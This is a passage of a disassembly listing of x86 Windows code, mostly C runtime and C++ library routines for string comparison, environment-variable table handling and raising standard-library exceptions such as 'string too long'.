		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41BD90
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_41BD90:				; CODE XREF: sub_41BB58+224j
		cmp	edi, ebx
		jz	short loc_41BDC1
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	ds:dword_41D12C	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41BDC1
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41D008	; CompareStringW
		jmp	short loc_41BDC3
; ---------------------------------------------------------------------------


loc_41BDC1:				; CODE XREF: sub_41BB58+63j
					; sub_41BB58+C6j ...
		xor	eax, eax


loc_41BDC3:				; CODE XREF: sub_41BB58+BFj
					; sub_41BB58+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BB58	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDD5	proc near		; CODE XREF: seg000:00418065p
					; sub_41BB58+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_41BDF2


loc_41BDE5:				; CODE XREF: sub_41BDD5+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_41BDF2
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_41BDE5


loc_41BDF2:				; CODE XREF: sub_41BDD5+Ej
					; sub_41BDD5+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_41BDFD
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_41BDFD:				; CODE XREF: sub_41BDD5+21j
		mov	eax, edx
		retn
sub_41BDD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE00	proc near		; CODE XREF: sub_41BA74+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_41BE64
		push	3Dh
		push	[ebp+arg_0]
		call	sub_41C046
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_41BE64
		cmp	[ebp+arg_0], esi
		jz	short loc_41BE64
		mov	eax, ds:dword_460FB4
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, ds:dword_460FB8
		jnz	short loc_41BE4A
		push	eax
		call	sub_41BFDF
		pop	ecx
		mov	ds:dword_460FB4, eax


loc_41BE4A:				; CODE XREF: sub_41BE00+3Cj
		cmp	eax, edi
		jnz	short loc_41BEA2
		cmp	[ebp+arg_4], edi
		jz	short loc_41BE6C
		cmp	ds:dword_460FBC, edi
		jz	short loc_41BE6C
		call	sub_41BA74
		test	eax, eax
		jz	short loc_41BEA2


loc_41BE64:				; CODE XREF: sub_41BE00+Dj
					; sub_41BE00+22j ...
		or	eax, 0FFFFFFFFh


loc_41BE67:				; CODE XREF: sub_41BE00+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BE6C:				; CODE XREF: sub_41BE00+51j
					; sub_41BE00+59j
		cmp	ebx, edi
		jnz	loc_41BF80
		push	4
		call	sub_41205F
		cmp	eax, edi
		pop	ecx
		mov	ds:dword_460FB4, eax
		jz	short loc_41BE64
		mov	[eax], edi
		cmp	ds:dword_460FBC, edi
		jnz	short loc_41BEA2
		push	4
		call	sub_41205F
		cmp	eax, edi
		pop	ecx
		mov	ds:dword_460FBC, eax
		jz	short loc_41BE64
		mov	[eax], edi


loc_41BEA2:				; CODE XREF: sub_41BE00+4Cj
					; sub_41BE00+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, ds:dword_460FB4
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41BF87
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_41BF02
		cmp	dword ptr [edi], 0
		jz	short loc_41BF02
		test	ebx, ebx
		jz	short loc_41BEFA
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_4120D3
		pop	ecx


loc_41BED4:				; CODE XREF: sub_41BE00+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_41BEE4
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_41BED4
; ---------------------------------------------------------------------------


loc_41BEE4:				; CODE XREF: sub_41BE00+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_4137CF
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41BF34
		jmp	short loc_41BF2F
; ---------------------------------------------------------------------------


loc_41BEFA:				; CODE XREF: sub_41BE00+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_41BF34
; ---------------------------------------------------------------------------


loc_41BF02:				; CODE XREF: sub_41BE00+BDj
					; sub_41BE00+C2j
		test	ebx, ebx
		jnz	short loc_41BF80
		test	esi, esi
		jge	short loc_41BF0C
		neg	esi


loc_41BF0C:				; CODE XREF: sub_41BE00+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_4137CF
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41BE64
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_41BF2F:				; CODE XREF: sub_41BE00+F8j
		mov	ds:dword_460FB4, eax


loc_41BF34:				; CODE XREF: sub_41BE00+F6j
					; sub_41BE00+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_41BF80
		push	[ebp+arg_0]
		call	sub_411FB0
		inc	eax
		inc	eax
		push	eax
		call	sub_41205F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_41BF80
		push	[ebp+arg_0]
		push	esi
		call	sub_412FC0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	near ptr 0A70000h
		push	56h
		call	sub_4120D3
		pop	ecx


loc_41BF80:				; CODE XREF: sub_41BE00+6Ej
					; sub_41BE00+104j ...
		xor	eax, eax
		jmp	loc_41BE67
sub_41BE00	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF87	proc near		; CODE XREF: sub_41BE00+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ds:dword_460FB4
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41BFC2
		mov	edi, [esp+8+arg_4]


loc_41BF99:				; CODE XREF: sub_41BF87+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_41BA35
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BFB8
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_41BFD2
		test	al, al
		jz	short loc_41BFD2


loc_41BFB8:				; CODE XREF: sub_41BF87+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_41BF99


loc_41BFC2:				; CODE XREF: sub_41BF87+Cj
		mov	eax, esi
		sub	eax, ds:dword_460FB4
		sar	eax, 2
		neg	eax


loc_41BFCF:				; CODE XREF: sub_41BF87+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BFD2:				; CODE XREF: sub_41BF87+2Bj
					; sub_41BF87+2Fj
		mov	eax, esi
		sub	eax, ds:dword_460FB4
		sar	eax, 2
		jmp	short loc_41BFCF
sub_41BF87	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BFDF	proc near		; CODE XREF: sub_41BE00+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_41BFEE
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BFEE:				; CODE XREF: sub_41BFDF+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_41C000


loc_41BFF6:				; CODE XREF: sub_41BFDF+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_41BFF6


loc_41C000:				; CODE XREF: sub_41BFDF+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41205F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_41C021
		push	9
		call	sub_413F2E
		pop	ecx


loc_41C021:				; CODE XREF: sub_41BFDF+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_41C025:				; CODE XREF: sub_41BFDF+5Bj
		test	eax, eax
		jz	short loc_41C03C
		push	eax
		add	ebx, 4
		call	sub_41C0B9
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_41C025
; ---------------------------------------------------------------------------


loc_41C03C:				; CODE XREF: sub_41BFDF+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_41BFDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C046	proc near		; CODE XREF: sub_41BE00+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_4623BC, 0
		jnz	short loc_41C061
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_413BB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C061:				; CODE XREF: sub_41C046+Aj
		mov	ecx, [ebp+arg_0]


loc_41C064:				; CODE XREF: sub_41C046+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_41C0A7
		movzx	edx, al
		test	ds:byte_4624C1[edx], 4
		jz	short loc_41C093
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_41C09E
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_41C0A2
		jmp	short loc_41C09B
; ---------------------------------------------------------------------------


loc_41C093:				; CODE XREF: sub_41C046+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_41C0A7


loc_41C09B:				; CODE XREF: sub_41C046+4Bj
		inc	ecx
		jmp	short loc_41C064
; ---------------------------------------------------------------------------


loc_41C09E:				; CODE XREF: sub_41C046+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C0A2:				; CODE XREF: sub_41C046+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C0A7:				; CODE XREF: sub_41C046+25j
					; sub_41C046+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_41C046	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C0B9	proc near		; CODE XREF: sub_407765+21p
					; sub_41BFDF+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_41C0E0
		push	esi
		call	sub_411FB0
		inc	eax
		push	eax
		call	sub_41205F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41C0E0
		push	esi
		push	eax
		call	sub_412FC0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41C0E0:				; CODE XREF: sub_41C0B9+7j
					; sub_41C0B9+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_41C0B9	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C0F0	proc near		; CODE XREF: sub_403511+15p
					; sub_40356A+15p ...
		mov	eax, offset loc_41C5E0
		call	sub_4126F0
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_403714
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_411FB0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_403750
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41C14A
		lea	eax, [ebp-3Ch]
		push	offset dword_41DF78
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_41DC34
		call	sub_41C549
		pop	esi
sub_41C0F0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C14A	proc near		; CODE XREF: sub_41C0F0+3Fp
					; sub_41C31C+3Fp
		mov	eax, offset loc_41C5F4
		call	sub_4126F0
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset byte_430AD0
		call	sub_41C46E
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_403714
		push	ds:dword_41D240
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_4035C1
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_41DC54
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41C14A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1AE	proc near		; DATA XREF: seg001:0041DC58o
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_41C1BA
		mov	eax, offset dword_41D250

locret_41C1BA:				; CODE XREF: sub_41C1AE+5j
		retn
sub_41C1AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C1BB	proc near		; DATA XREF: seg001:0041DC5Co

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41C231
		lea	eax, [ebp+var_1C]
		push	offset dword_41DFE8
		push	eax
		call	sub_41C549
sub_41C1BB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C1D8	proc near		; CODE XREF: seg000:0041C218p
					; DATA XREF: seg001:0041DFECo
		mov	eax, offset loc_41C608
		call	sub_4126F0
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_41DC54
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_403714
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_41C4F5
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41C1D8	endp

; ---------------------------------------------------------------------------


loc_41C215:				; DATA XREF: seg001:off_41DC54o
		push	esi
		mov	esi, ecx
		call	sub_41C1D8
		test	byte ptr [esp+8], 1
		jz	short loc_41C22B
		push	esi
		call	sub_41270F
		pop	ecx


loc_41C22B:				; CODE XREF: seg000:0041C222j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41C231	proc near		; CODE XREF: sub_41C1BB+Ap
					; sub_41C304+7p ...
		mov	eax, offset loc_41C61C
		call	sub_4126F0
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_41C4AB
		mov	al, [ebx+0Ch]
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	ecx, edi
		mov	[edi], al
		call	sub_403714
		push	ds:dword_41D240
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_4035C1
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_41DC54
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41C231	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C28E	proc near		; CODE XREF: seg000:0041C2EBp
					; DATA XREF: seg001:0041DF7Co
		mov	eax, offset loc_41C630
		call	sub_4126F0
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_41DC54
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_403714
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_41C4F5
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41C28E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp-1Ch]
		call	sub_41C304
		lea	eax, [ebp-1Ch]
		push	offset dword_41DF78
		push	eax
		call	sub_41C549


loc_41C2E8:				; DATA XREF: seg001:off_41DC34o
		push	esi
		mov	esi, ecx
		call	sub_41C28E
		test	byte ptr [esp+8], 1
		jz	short loc_41C2FE
		push	esi
		call	sub_41270F
		pop	ecx


loc_41C2FE:				; CODE XREF: seg000:0041C2F5j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41C304	proc near		; CODE XREF: seg000:0041C2D5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41C231
		mov	dword ptr [esi], offset	off_41DC34
		mov	eax, esi
		pop	esi
		retn	4
sub_41C304	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C31C	proc near		; CODE XREF: sub_4035C1+13p
					; sub_403785+Ep
		mov	eax, offset loc_41C644
		call	sub_4126F0
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_403714
		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_411FB0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_403750
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41C14A
		lea	eax, [ebp-3Ch]
		push	offset dword_41E0A0
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_41DC64
		call	sub_41C549
		pop	esi
sub_41C31C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C376	proc near		; CODE XREF: seg000:0041C3D3p
					; DATA XREF: seg001:0041E0A4o
		mov	eax, offset loc_41C658
		call	sub_4126F0
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_41DC54
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_403714
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_41C4F5
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41C376	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp-1Ch]
		call	sub_41C3EC
		lea	eax, [ebp-1Ch]
		push	offset dword_41E0A0
		push	eax
		call	sub_41C549


loc_41C3D0:				; DATA XREF: seg001:off_41DC64o
		push	esi
		mov	esi, ecx
		call	sub_41C376
		test	byte ptr [esp+8], 1
		jz	short loc_41C3E6
		push	esi
		call	sub_41270F
		pop	ecx


loc_41C3E6:				; CODE XREF: seg000:0041C3DDj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41C3EC	proc near		; CODE XREF: seg000:0041C3BDp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41C231
		mov	dword ptr [esi], offset	off_41DC64
		mov	eax, esi
		pop	esi
		retn	4
sub_41C3EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C404	proc near		; DATA XREF: seg002:0041F00Co

; FUNCTION CHUNK AT 0041C43A SIZE 0000000C BYTES

		test	ds:byte_461278,	1
		jnz	short loc_41C414
		or	ds:byte_461278,	1


loc_41C414:				; CODE XREF: sub_41C404+7j
		call	sub_41C42E
		test	ds:byte_4625F8,	1
		jnz	short loc_41C429
		or	ds:byte_4625F8,	1


loc_41C429:				; CODE XREF: sub_41C404+1Cj
		jmp	loc_41C43A
sub_41C404	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C42E	proc near		; CODE XREF: sub_41C404:loc_41C414p
		push	offset nullsub_1
		call	sub_412AD0
		pop	ecx
		retn
sub_41C42E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C404


loc_41C43A:				; CODE XREF: sub_41C404:loc_41C429j
		push	offset nullsub_1
		call	sub_412AD0
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_41C404

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41C446	proc near		; CODE XREF: sub_402E61+5Ep
					; sub_403BAC+159p
		jmp	ds:dword_41D1E4
sub_41C446	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41C44C	proc near		; CODE XREF: sub_41235C+23p
					; sub_412600+13p
		jmp	ds:dword_41D148
sub_41C44C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C452	proc near		; DATA XREF: seg001:off_41DC8Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_41C4F5
		test	[esp+4+arg_0], 1
		jz	short loc_41C468
		push	esi
		call	sub_41270F
		pop	ecx


loc_41C468:				; CODE XREF: sub_41C452+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41C452	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C46E	proc near		; CODE XREF: sub_41C14A+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41DC8C
		push	dword ptr [edi]
		call	sub_411FB0
		inc	eax
		push	eax
		call	sub_412A55
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_41C49D
		push	dword ptr [edi]
		push	eax
		call	sub_412FC0
		pop	ecx
		pop	ecx


loc_41C49D:				; CODE XREF: sub_41C46E+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_41C46E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C4AB	proc near		; CODE XREF: sub_41C231+17p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41DC8C
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_41C4E8
		push	dword ptr [edi+4]
		call	sub_411FB0
		inc	eax
		push	eax
		call	sub_412A55
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_41C4EE
		push	dword ptr [edi+4]
		push	eax
		call	sub_412FC0
		pop	ecx
		pop	ecx
		jmp	short loc_41C4EE
; ---------------------------------------------------------------------------


loc_41C4E8:				; CODE XREF: sub_41C4AB+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_41C4EE:				; CODE XREF: sub_41C4AB+2Ej
					; sub_41C4AB+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_41C4AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C4F5	proc near		; CODE XREF: sub_41C1D8+2Bp
					; sub_41C28E+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_41DC8C
		jz	short locret_41C50A
		push	dword ptr [ecx+4]
		call	sub_41270F
		pop	ecx

locret_41C50A:				; CODE XREF: sub_41C4F5+Aj
		retn
sub_41C4F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C50B	proc near		; DATA XREF: seg001:0041DC90o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_41C517
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_41C517:				; CODE XREF: sub_41C50B+5j
		retn
sub_41C50B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C518	proc near		; CODE XREF: seg000:0041C530p
		mov	dword ptr [ecx], offset	off_41DCAC
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_41C52C
		push	ecx
		call	sub_4120D3
		pop	ecx

locret_41C52C:				; CODE XREF: sub_41C518+Bj
		retn
sub_41C518	endp

; ---------------------------------------------------------------------------


loc_41C52D:				; DATA XREF: seg001:off_41DCACo
		push	esi
		mov	esi, ecx
		call	sub_41C518
		test	byte ptr [esp+8], 1
		jz	short loc_41C543
		push	esi
		call	sub_41270F
		pop	ecx


loc_41C543:				; CODE XREF: seg000:0041C53Aj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C549	proc near		; CODE XREF: sub_41C0F0+54p
					; sub_41C1BB+18p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_41DCB0
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	ds:dword_41D178	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_41C549	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41C584	proc near		; DATA XREF: seg001:0041DE7Co

; FUNCTION CHUNK AT 00403509 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_403509
sub_41C584	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_41C5A2
		mov	ecx, [ebp+8]
		jmp	loc_403509
; ---------------------------------------------------------------------------

locret_41C5A2:				; CODE XREF: seg000:0041C594j
		retn
; ---------------------------------------------------------------------------


loc_41C5A3:				; DATA XREF: sub_40309Do
		mov	eax, offset dword_41DE50
		jmp	loc_4123AB
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+14h]
		jmp	loc_403509
; ---------------------------------------------------------------------------


loc_41C5B8:				; DATA XREF: seg001:0041DEACo
		lea	ecx, [ebp-1Ch]
		jmp	loc_403509
; ---------------------------------------------------------------------------


loc_41C5C0:				; DATA XREF: sub_40323Fo
		mov	eax, offset dword_41DE80
		jmp	loc_4123AB
; ---------------------------------------------------------------------------
		align 4


loc_41C5CC:				; DATA XREF: sub_4037ECo
		mov	eax, offset dword_41DEB0
		jmp	loc_4123AB
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_403509
; ---------------------------------------------------------------------------


loc_41C5E0:				; DATA XREF: sub_41C0F0o
		mov	eax, offset dword_41DF88
		jmp	loc_4123AB
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-14h]
		jmp	sub_41C4F5
; ---------------------------------------------------------------------------


loc_41C5F4:				; DATA XREF: sub_41C14Ao
		mov	eax, offset dword_41DFB0
		jmp	loc_4123AB
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_41C4F5
; ---------------------------------------------------------------------------


loc_41C608:				; DATA XREF: sub_41C1D8o
		mov	eax, offset dword_41DFF8
		jmp	loc_4123AB
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_41C4F5
; ---------------------------------------------------------------------------


loc_41C61C:				; DATA XREF: sub_41C231o
		mov	eax, offset dword_41E020
		jmp	loc_4123AB
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_41C4F5
; ---------------------------------------------------------------------------


loc_41C630:				; DATA XREF: sub_41C28Eo
		mov	eax, offset dword_41E048
		jmp	loc_4123AB
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_403509
; ---------------------------------------------------------------------------


loc_41C644:				; DATA XREF: sub_41C31Co
		mov	eax, offset dword_41E0B0
		jmp	loc_4123AB
; ---------------------------------------------------------------------------
		align 10h
